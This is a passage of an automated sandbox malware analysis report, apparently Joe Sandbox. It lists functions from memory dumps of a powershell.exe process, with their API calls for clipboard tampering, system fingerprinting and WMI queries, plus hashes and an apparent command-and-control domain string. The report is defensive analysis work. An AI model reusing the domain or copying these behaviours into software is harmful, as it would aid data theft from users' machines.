pp^, xrefs: 02C94DE2

Memory Dump Source

Source File: 0000000D.00000002.2172710117.0000000002C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2c90000_powershell.jbxd

Similarity

API ID:
String ID: pp^$pp^$pp^$pp^
API String ID: 0-2757257495
Opcode ID: 2b9aeaa619a5f1ece33bc5564d0477321505186a07efa3c1a0f12f545e188fc7
Instruction ID: ae915a5dc42892b7d2b37814684f867101afe5c091d2caa28f8d3b7497198403
Opcode Fuzzy Hash: 2b9aeaa619a5f1ece33bc5564d0477321505186a07efa3c1a0f12f545e188fc7
Instruction Fuzzy Hash: E8318E9291E7D42FE317973968B96853FB1AE1726870E41DBC0C48F0A3E859490BC76B

Function 02BCA1BE Relevance: 5.1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
6, xrefs: 02BCA242
9, xrefs: 02BCA28C
F, xrefs: 02BC964C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: 6$9$F$Teq
API String ID: 0-3653619366
Opcode ID: b423cf92b6df1a7f1b15b83534d159802cf635a4015178e8aca6cf62a667bac5
Instruction ID: d6f1e465466161836d06d4dc4e45c8cc170bc59c075df8182f7f28ea11fdbe6e
Opcode Fuzzy Hash: b423cf92b6df1a7f1b15b83534d159802cf635a4015178e8aca6cf62a667bac5
Instruction Fuzzy Hash: BE31BFB0D01258CFEB50CF99C888BEDBBF5BB09304F609099D499AB648CB745E85CF40

Function 07040308 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

$q, xrefs: 0704035E
4'q, xrefs: 07040373
4'q, xrefs: 0704037F
$q, xrefs: 07040352

Memory Dump Source

Source File: 0000000D.00000002.2211582504.0000000007040000.00000040.00000800.00020000.00000000.sdmp, Offset: 07040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7040000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q
API String ID: 0-3199993180
Opcode ID: 277b5236106877daf3f863a8e2f2d8698bd4d148d54147c14d9114b812920b16
Instruction ID: 17e0331550512e4d0998effc067256d0c4b8a455850f24cd466a2554aa073f19
Opcode Fuzzy Hash: 277b5236106877daf3f863a8e2f2d8698bd4d148d54147c14d9114b812920b16
Instruction Fuzzy Hash: 4E01F2A670D3D29FC72726281C201A96FBA5FC391131E81E7D142EF293CD598C4683B3

Function 02BC9A31 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
D, xrefs: 02BC9A73
F, xrefs: 02BC964C
), xrefs: 02BC9A50

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: )$D$F$Teq
API String ID: 0-2768155139
Opcode ID: 830e0475edb9953df4efb60bbc1897fa0aeacf3b787f2fa81430a60573903913
Instruction ID: 00ca415115db23643b8b0f7497368f00583fb871519723f0f49bb8d22500f542
Opcode Fuzzy Hash: 830e0475edb9953df4efb60bbc1897fa0aeacf3b787f2fa81430a60573903913
Instruction Fuzzy Hash: 85219FB0D01698CFEB50CFA9D484BEDBBF1BB09304F209099D499AB748D7785A85CF44

Function 02BCA489 Relevance: 5.0, Strings: 4, Instructions: 41COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
9, xrefs: 02BCA4AC
F, xrefs: 02BC964C
:, xrefs: 02BCA48C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: 9$:$F$Teq
API String ID: 0-1080486612
Opcode ID: 91c7db02f6cb06e3a3797b4f03e00bfa19bb1716b0b11b41ddae3e09c64f3736
Instruction ID: 850efede97dd55a096ec5e5f04224c8b4bcb97e319b330679bec10d6e89f607f
Opcode Fuzzy Hash: 91c7db02f6cb06e3a3797b4f03e00bfa19bb1716b0b11b41ddae3e09c64f3736
Instruction Fuzzy Hash: A111C2B0D05688CFEB10CFA9C444BECBBF5BB08304F209099D499AB749D7B45A85CF04

Function 02BCA50E Relevance: 5.0, Strings: 4, Instructions: 40COMMON

Download Yara Rule

Strings

Teq, xrefs: 02BC9628
+, xrefs: 02BCA50E
., xrefs: 02BCA531
F, xrefs: 02BC964C

Memory Dump Source

Source File: 0000000D.00000002.2171999044.0000000002BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2bc0000_powershell.jbxd

Similarity

API ID:
String ID: +$.$F$Teq
API String ID: 0-2382411813
Opcode ID: 797e95f17d8ee1dcd6449907d947dbf908c6cd46aafe37bdfc1307e3fad4a959
Instruction ID: 2e2be333f2fdf78ae7855042455efc2a2f8ad3ef3aba94c96c36d3c85626c28f
Opcode Fuzzy Hash: 797e95f17d8ee1dcd6449907d947dbf908c6cd46aafe37bdfc1307e3fad4a959
Instruction Fuzzy Hash: 4E11A2B0D11698CFEB50CF99C588BEDBBF1BB08304F249099D49AAB748D7B45A85CF44

Analysis Process: powershell.exePID: 7508, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.5%
Total number of Nodes:	370
Total number of Limit Nodes:	26

Executed Functions

Function 004126A0 Relevance: 199.7, APIs: 4, Strings: 109, Instructions: 1998COMMON

Download Yara Rule

Strings

C, xrefs: 00413C96
-, xrefs: 00414084
F, xrefs: 004134E4
), xrefs: 004140A4
V, xrefs: 00413410
=, xrefs: 00413D6E
O, xrefs: 00413CF6
N, xrefs: 00413DEE
/, xrefs: 00414124
9, xrefs: 00413CCE
w, xrefs: 00413E36
., xrefs: 00414054
t, xrefs: 00413D1E
q, xrefs: 0041307A
#, xrefs: 00413CAE
D, xrefs: 00414235
0, xrefs: 00413C7E
h, xrefs: 0041312C
", xrefs: 004139E7
-, xrefs: 004140B4
Y, xrefs: 004127F3
[, xrefs: 00413D56
Q, xrefs: 00413D06
m, xrefs: 00413DE6
o, xrefs: 00413DF6
D, xrefs: 00414500
M, xrefs: 00413CE6
g, xrefs: 00413DB6
{, xrefs: 00413D2E
0, xrefs: 004140D4
@, xrefs: 00413D7E
T, xrefs: 00413E2E
V, xrefs: 00413987
U, xrefs: 00413D26
R, xrefs: 00412F74
W, xrefs: 00413D36
-, xrefs: 00413C8E
2, xrefs: 00414094
Q, xrefs: 00413448
f, xrefs: 00412AE5
q, xrefs: 00413E06
e, xrefs: 00413351
], xrefs: 00413DFE
s, xrefs: 00413E16
&, xrefs: 004140F4
S, xrefs: 00413D16
e, xrefs: 00413DA6
H, xrefs: 00412BCD
K, xrefs: 00413CD6
9, xrefs: 00413D5E
T, xrefs: 00413420
u, xrefs: 00413E26
P, xrefs: 00413977
R, xrefs: 00413430
p, xrefs: 00413072
I, xrefs: 00413CC6
<, xrefs: 00413CFE
^, xrefs: 004139C7
), xrefs: 00414114
9, xrefs: 00412DB8
3, xrefs: 00413C9E
c, xrefs: 00413D96
i, xrefs: 00413751
\, xrefs: 004139D7
$, xrefs: 00413CDE
x, xrefs: 00413E3E
=, xrefs: 00413D3E
X, xrefs: 004139B7
k, xrefs: 00413DD6
|, xrefs: 00412FA6
_, xrefs: 00413D76
l, xrefs: 00412F92
?, xrefs: 0041297C
., xrefs: 00412984
i, xrefs: 00413DC6
#, xrefs: 0041333D
Z, xrefs: 004139A7
,, xrefs: 00414044
D, xrefs: 004127FB
|, xrefs: 00412C96
:, xrefs: 00413CBE
t, xrefs: 004126FC
o, xrefs: 00413124
`, xrefs: 0041359D
, xrefs: 004139F7
., xrefs: 00413450
[, xrefs: 004134EE
Y, xrefs: 00413D46
r, xrefs: 00413347
g, xrefs: 00412F88
G, xrefs: 00413CB6
T, xrefs: 00413997
A, xrefs: 00413C86
y, xrefs: 00413B9C
E, xrefs: 00413CA6
", xrefs: 00413D4E
-, xrefs: 004140E4
#, xrefs: 004139EF
v, xrefs: 0041335B
a, xrefs: 00413D86
>, xrefs: 00413D0E
5, xrefs: 004136CC
i, xrefs: 00413134
y, xrefs: 00413E46
+, xrefs: 00413CEE
T, xrefs: 00413E1E
P, xrefs: 00413440
], xrefs: 00413D66
9, xrefs: 00414104

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID:
String ID: $"$"$#$#$#$$$&$)$)$+$,$-$-$-$-$.$.$.$/$0$0$2$3$5$9$9$9$9$:$<$=$=$>$?$@$A$C$D$D$D$E$F$G$H$I$K$M$N$O$P$P$Q$Q$R$R$S$T$T$T$T$U$V$V$W$X$Y$Y$Z$[$[$\$]$]$^$_$`$a$c$e$e$f$g$g$h$i$i$i$k$l$m$o$o$p$q$q$r$s$t$t$u$v$w$x$y$y${$|$|
API String ID: 0-2167288234
Opcode ID: 50487bcd5fc738a55926c5578b8c5c14dbb578578434e882fa16f2861d1aabe1
Instruction ID: 8f462645280b069e8c4540548a495f9df384b8d6a10ab6be89c721acee72297e
Opcode Fuzzy Hash: 50487bcd5fc738a55926c5578b8c5c14dbb578578434e882fa16f2861d1aabe1
Instruction Fuzzy Hash: 2103D07120C7C08AD3249B38C5943EFBBD1ABD6324F184A6EE4E9873D2D7B985858717

Function 0043B120 Relevance: 34.0, APIs: 12, Strings: 7, Instructions: 750
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(?,00000000,00000001,?,00000000), ref: 0043B4D3
SysAllocString.OLEAUT32(17691566), ref: 0043B556
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043B594
SysAllocString.OLEAUT32(04560662), ref: 0043B5F4
SysAllocString.OLEAUT32(18561A62), ref: 0043B6AD
VariantInit.OLEAUT32(?), ref: 0043B720
VariantClear.OLEAUT32(?), ref: 0043B888
SysFreeString.OLEAUT32(?), ref: 0043B8A6
SysFreeString.OLEAUT32 ref: 0043B8B2
SysFreeString.OLEAUT32(?), ref: 0043B8B8
SysFreeString.OLEAUT32(00000000), ref: 0043B8C5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 0043B8FA

Strings

-*, xrefs: 0043B65C
J>V<, xrefs: 0043B634
g&D$, xrefs: 0043B644
k"j , xrefs: 0043B64C
R.P,, xrefs: 0043B654
w6D4, xrefs: 0043B624
y;, xrefs: 0043B2F9

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: -*$J>V<$R.P,$g&D$$k"j $w6D4$y;
API String ID: 1341229144-2211161529
Opcode ID: 50dcc2c4718d1eed07f1273bd04584a57db75b59b3f13f7d3ab55c1e73c68238
Instruction ID: efabbab96d69223aee76afd964a0dd9c41cc1c2d0b34b92621560361ec58ab92
Opcode Fuzzy Hash: 50dcc2c4718d1eed07f1273bd04584a57db75b59b3f13f7d3ab55c1e73c68238
Instruction Fuzzy Hash: B832DB716083419BD314CF28C895B5BBBE5EFC9318F14892DE6E9CB391D778D8098B86

Function 00410F56 Relevance: 21.8, APIs: 1, Strings: 11, Instructions: 752
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

], xrefs: 004113BB
T, xrefs: 004116D9
T, xrefs: 004116E1
K, xrefs: 004117D3
{, xrefs: 004114C1
c, xrefs: 004115A2
k, xrefs: 0041176D
t, xrefs: 00410FF9
B, xrefs: 004117D8
+, xrefs: 0041110E
R, xrefs: 004117CE

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID:
String ID: +$B$K$R$T$T$]$c$k$t${
API String ID: 0-1251224861
Opcode ID: 8a933165b6b8387d1d870940ada7ce90d70d06ae8345592fe5139380eb04d388
Instruction ID: 58496473fbeb39b6b054518c7a37bbd0ece468daa964df666678063d2829f8b8
Opcode Fuzzy Hash: 8a933165b6b8387d1d870940ada7ce90d70d06ae8345592fe5139380eb04d388
Instruction Fuzzy Hash: 1F62C171A0C7808BD7249B3884953EFBBE1ABD5314F194A7ED5DAC73D2D63888818B07

Function 05601000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 05601032
OpenClipboard.USER32(00000000), ref: 0560103C
GetClipboardData.USER32(0000000D), ref: 0560104C
GlobalLock.KERNEL32(00000000), ref: 0560105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 05601090
GlobalLock.KERNEL32 ref: 056010A0
GlobalUnlock.KERNEL32 ref: 056010C1
EmptyClipboard.USER32 ref: 056010CB
SetClipboardData.USER32(0000000D), ref: 056010D6
GlobalFree.KERNEL32 ref: 056010E3
GlobalUnlock.KERNEL32(?), ref: 056010ED
CloseClipboard.USER32 ref: 056010F3
GetClipboardSequenceNumber.USER32 ref: 056010F9

Memory Dump Source

Source File: 00000013.00000002.3704388135.0000000005601000.00000020.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: true

Associated: 00000013.00000002.3704318702.0000000005600000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.3704447851.0000000005602000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_5600000_powershell.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 61f5b7120b3c14e28fa384df2c3ede522e4488cfd2d719a182a47f6a7f4b14ae
Instruction ID: 4c4911b46ac7a0b23b542a2353a3e654448f58e320d2cb45e0787271369fcc8e
Opcode Fuzzy Hash: 61f5b7120b3c14e28fa384df2c3ede522e4488cfd2d719a182a47f6a7f4b14ae
Instruction Fuzzy Hash: DC21B0756142549BD72C2BB1EC0EB6B7BA8FF05785F043028F986D6290EF729800CBA1

Function 00424D8A Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 281
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000), ref: 00424DB7

Strings

RB, xrefs: 0042515F
y, xrefs: 00424F83
sz, xrefs: 00424F7B
01, xrefs: 00425100
PPB, xrefs: 0042504A
AC, xrefs: 004250E0

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 01$PPB$sz$y$AC$RB
API String ID: 237503144-3029882875
Opcode ID: 0dbe63957b4fe522eb98ca4fa407102133424ceac7a2e2c0ad066726c7ad13f1
Instruction ID: 5b4b706f445ecfe54fafddf74cfefc7061c6ac1f6677eae9a963ca4e29261c2b
Opcode Fuzzy Hash: 0dbe63957b4fe522eb98ca4fa407102133424ceac7a2e2c0ad066726c7ad13f1
Instruction Fuzzy Hash: A591A9B42083109BD320DF14E891A6FB7E2EF96318F45892DF1C58B392E7788945CB4B

Function 00408A00 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408A24
GetCurrentThreadId.KERNEL32 ref: 00408A2D
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408A7F
GetForegroundWindow.USER32 ref: 00408AC3
ExitProcess.KERNEL32 ref: 00408CD2

Strings

3P16, xrefs: 00408BEB

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: 3P16
API String ID: 4063528623-2793485512
Opcode ID: 07db624bd404a8944a33052a63fb7fe521cd1eee5149cf8d0e171c6975ebf44c
Instruction ID: 4cd3e6a7f8707b15ba17179249244b82c7598acfac02e6b5f373577d2f751aa9
Opcode Fuzzy Hash: 07db624bd404a8944a33052a63fb7fe521cd1eee5149cf8d0e171c6975ebf44c
Instruction Fuzzy Hash: 86617B77B087044BD318AF7A8C5135BB6D35BC1310F0E813EA9C5EB7D2ED7898058299

Function 0040E290 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040E2BF

Strings

YD, xrefs: 0040E371
quinceisoz.cam, xrefs: 0040E614

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: Uninitialize
String ID: quinceisoz.cam$YD
API String ID: 3861434553-2857351005
Opcode ID: 0c060c09655814047a66e676f1295931433636fed9df1fd7ebc7b78c19bd6974
Instruction ID: 200042d3710e27d3e070f64aca1da6e307d9fbb02f4ab09c0a9b16a55ec942b3
Opcode Fuzzy Hash: 0c060c09655814047a66e676f1295931433636fed9df1fd7ebc7b78c19bd6974
Instruction Fuzzy Hash: 73B1C170104B81DFD329CF2AD4E0662BBE0FF56310B188A9DD4D64BB96D738E816CB94

Function 00418E87 Relevance: 1.8, APIs: 1, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dc334b242a826e5b2dae496acfe67669b3cb925cdd33f05cc61466ecd24fffc
Instruction ID: a0675b8805c7355aad90cb7b82b018e9a985ec4318174156c3abc6938aa9f39f
Opcode Fuzzy Hash: 8dc334b242a826e5b2dae496acfe67669b3cb925cdd33f05cc61466ecd24fffc
Instruction Fuzzy Hash: 3E8139759083419FC724CF28C8916ABB7E2EF96314F18892EE4D987391EB38DC45CB56

Function 0043FC20 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00442E6D,00000002,00000018,?,?,00000018,?,?,?), ref: 0043FC4E

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0042EAFA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042EB01
GetComputerNameExA.KERNELBASE(00000006,A89783EF,00000100), ref: 0042EBC4

Strings

FGRI, xrefs: 0042EB2B

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: FGRI
API String ID: 2904949787-1835238746
Opcode ID: 3489e744333a1eff6027c06e3f1d1a6bf7ddcce2e5a91949d353bfd760ad56f6
Instruction ID: 4c43c6584f7d6a87e7da7fda7030f7722148376a055158ffa5198ae001417624
Opcode Fuzzy Hash: 3489e744333a1eff6027c06e3f1d1a6bf7ddcce2e5a91949d353bfd760ad56f6
Instruction Fuzzy Hash: 2021A135509780CBD730CF35D8997EBBFE1ABC7315F18896DD4D8862A1DA7844058B42

Function 0042F142 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 387
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042F5E5

Strings

_, xrefs: 0042F152

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: _
API String ID: 3960555810-701932520
Opcode ID: e2c93dc4bce6dc3e9f693e0243a6ea90fbf3efd499c13e3c9ed3cf9d36f399dd
Instruction ID: ae1d6b7e4f0f455625c184d277efc3717a04e27f346c340259582ffc6fa1de08
Opcode Fuzzy Hash: e2c93dc4bce6dc3e9f693e0243a6ea90fbf3efd499c13e3c9ed3cf9d36f399dd
Instruction Fuzzy Hash: ABA1F87010D3D08BD7298F2994603ABBFE19FEB304F584A7ED0C997382D77985498B1A

Function 00432E6A Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00432F4B

Strings

0, xrefs: 004331D1

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: 60a1d32182945f3e6bd683d721bc51bddab55c5dee7ca99375f97ed56477c2ce
Instruction ID: 0e5d6e54db3fa66f7d5b11dce9cd9a1846fc5bba4bdbfab75d2810411b30cefa
Opcode Fuzzy Hash: 60a1d32182945f3e6bd683d721bc51bddab55c5dee7ca99375f97ed56477c2ce
Instruction Fuzzy Hash: 3DA1D42050DFC1CAD372CA3C885D797BFD15B67224F084B9DD0FE4A2E6C6A9610AC726

Function 00435032 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 004350CD

Strings

0, xrefs: 004352C7

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: eb5065a6f61fc00f6841d1787628cb19d37d9d615586c44aaccb524bdd93efaa
Instruction ID: 9eb203f3bbf3c999938fa52b0051975d019db84f2f5f09065ffa432bc9b0eac2
Opcode Fuzzy Hash: eb5065a6f61fc00f6841d1787628cb19d37d9d615586c44aaccb524bdd93efaa
Instruction Fuzzy Hash: 2B91A460108FC18DD332C73C8848797BFE06B67224F484A9DD1FA8B7E2D7A5614AD766

Function 0042EAB4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,A89783EF,00000100), ref: 0042EBC4

Strings

FGRI, xrefs: 0042EB2B

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: ComputerName
String ID: FGRI
API String ID: 3545744682-1835238746
Opcode ID: 3b8c8963fbf51072cf2fbca3e70ae0f88966d9cb2f35235e6959a2fb6ffc0023
Instruction ID: e28d4fd25c2106e15d3d037d3f1690eef8bbde390f8308ead401d458878d3d60
Opcode Fuzzy Hash: 3b8c8963fbf51072cf2fbca3e70ae0f88966d9cb2f35235e6959a2fb6ffc0023
Instruction Fuzzy Hash: BB21D2355093808BD730CF36D8997EBBFE1ABD7315F58886DD0D98A2A1EA7840058B42

Function 0040DDEB Relevance: 3.1, APIs: 2, Instructions: 114COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040DDEF
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040DF30

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 66aba8b16e51eabe5c497fd7ed0365ae12cbac4afaa0a8f441e4aa3005461a46
Instruction ID: d07d8f45d5c4f2bbfc46287307464193c4c3e31656f384035070e09344caf60b
Opcode Fuzzy Hash: 66aba8b16e51eabe5c497fd7ed0365ae12cbac4afaa0a8f441e4aa3005461a46
Instruction Fuzzy Hash: 2941C9B4C10B40AFD370AF3D9A4B7167EB4AB05210F504B2DF9E69A6D4E331A4198BD7

Function 0040D8EB Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D8FD
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D922

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 6025c0c4241d48c6f527f1986b96e293406e969b2c11656e833081fa16e0889f
Instruction ID: 754084f96867f1d2de874bd9ad04d1bb6caf9ac49d31b427ff6278fe94b539ef
Opcode Fuzzy Hash: 6025c0c4241d48c6f527f1986b96e293406e969b2c11656e833081fa16e0889f
Instruction Fuzzy Hash: 17E042383DD301BAFA788714EC17F5932165747F22F308315B7253E6E486E03209855D

Function 00440953 Relevance: 3.0, APIs: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00440953
GetForegroundWindow.USER32 ref: 00440964

Memory Dump Source

Source File: 00000013.00000002.3691471857.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.3691471857.0000000000455000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
